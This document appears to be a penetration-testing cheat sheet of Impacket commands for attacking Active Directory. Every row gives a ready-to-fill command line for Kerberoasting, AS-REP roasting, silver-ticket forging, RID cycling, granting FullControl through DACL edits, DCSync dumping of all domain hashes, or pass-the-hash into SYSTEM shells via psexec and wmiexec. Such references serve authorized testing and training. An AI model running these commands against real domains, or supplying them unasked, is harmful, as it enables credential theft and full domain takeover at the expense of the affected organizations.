impacket-getTGT <domain>/<user>:<pass> | Request and cache a TGT (export KRB5CCNAME=<user>.ccache to use it). |
impacket-GetUserSPNs <domain>/<user>:<pass> -dc-host <dc> -k -request | Active Directory - Kerberoasting — request TGS hashes for every SPN-registered account. |
impacket-GetNPUsers <domain>/ -usersfile users.txt -no-pass -dc-ip <dc_ip> | Active Directory - AS-REP Roasting — request AS-REPs for every account with Kerberos pre-auth disabled, no credentials needed. |
impacket-ticketer -spn <spn> -user-id 500 -nthash <hash> -domain <domain> -domain-sid <sid> Administrator | Forge a Active Directory - Silver Ticket Attack. |
impacket-getPac -targetUser <user> <domain>/<user>:<pass> | Retrieve a user’s PAC — handy for pulling the domain SID. |
impacket-lookupsid '<domain>/.'@<target> -no-pass | Active Directory - RID Cycling — resolve SIDs to account names over a null/Guest session, even when direct enumeration is blocked. |
impacket-mssqlclient -k <dc> | Connect to MSSQL, using whichever Kerberos ticket is currently cached. |
impacket-dacledit -action write -rights FullControl -principal <user> -target-dn "<dn>" '<domain>'/'<user>':'<pass>' | Read/modify an AD object’s DACL (backs up the original ACL to a .bak file first). |
impacket-secretsdump <domain>/<user>:<pass>@<dc> | Active Directory - DCSync Attack — dump every domain account’s hash via directory replication. |
impacket-psexec <user>@<target> -hashes ':<nt_hash>' | Pass-the-hash into a SYSTEM shell via a temporary service. |
impacket-wmiexec <domain>/<user>:<pass>@<target> | Semi-interactive shell over DCOM/WMI (quieter than psexec, no service created). |
impacket-smbclient -k <domain>/<user>:<pass>@<target> | Interactive SMB client, Kerberos-aware. |